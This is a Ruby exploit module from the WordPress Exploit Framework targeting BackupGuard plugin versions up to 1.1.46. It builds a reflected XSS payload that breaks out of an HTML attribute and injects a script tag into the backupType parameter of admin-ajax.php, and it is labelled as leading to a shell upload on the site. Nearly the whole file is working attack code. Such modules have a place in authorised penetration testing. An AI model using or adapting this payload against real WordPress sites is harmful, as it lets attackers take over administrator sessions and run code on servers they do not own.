# frozen_string_literal: true

class Wpxf::Exploit::BackupGuardReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'BackupGuard <= 1.1.46 Reflected XSS Shell Upload',
      author: [
        'Chris Liu', # Dislosure
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8894'],
        ['URL', 'https://jvn.jp/en/jp/JVN58559719/index.html']
      ],
      date: 'Aug 24 2017'
    )
  end

  def check
    check_plugin_version_from_changelog('backup', 'README.txt', '1.1.47')
  end

  def xss_payload
    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><input type=\"hidden")
  end

  def url_with_xss
    "#{wordpress_url_admin_ajax}?param=&backupType=#{xss_payload}&action=backup_guard_modalManualBackup"
  end
end
